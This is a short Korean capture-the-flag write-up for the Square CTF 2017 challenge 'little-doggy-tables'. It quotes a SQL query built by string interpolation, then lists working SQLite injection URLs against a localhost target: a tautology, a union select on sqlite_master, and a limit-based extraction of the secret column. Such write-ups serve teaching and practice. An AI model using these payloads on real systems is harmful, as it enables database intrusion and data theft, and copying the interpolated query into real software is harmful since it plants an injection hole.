CTF
[Square CTF 2017] little-doggy-tables
skyepodium
2022. 6. 12. 16:23
1. 개요
sqlite union sqlite injection 문제
2. 분석
1) 코드
코드를 보면, 다음 부분에 untion sql injection 이 걸릴 것 같습니다.
query = "SELECT species FROM operatives WHERE codename = '#{secure_codename}';"
2) union sql injection
url encoding 딱히 안해도 잘 걸리고 있습니다.
http://localhost:8080/agent_lookup?codename=' or 1 = 1 --
3. exploit
1) sql 정보 조회
테이블 생성할때 사용된 쿼리를 줍니다. secret 컬럼이 수상해 보입니다.
http://localhost:8080/agent_lookup?codename=' union select sql from sqlite_master --
2) secret
secret을 검색했지만, 원하는 flag는 아닌것 같습니다.
http://localhost:8080/agent_lookup?codename=' union select secret from operatives --
3) limit
limit을 걸어 하나씩 검색했고, 9번째에서 찾았습니다.
http://localhost:8080/agent_lookup?codename=' union SELECT secret from operatives limit 9,1 --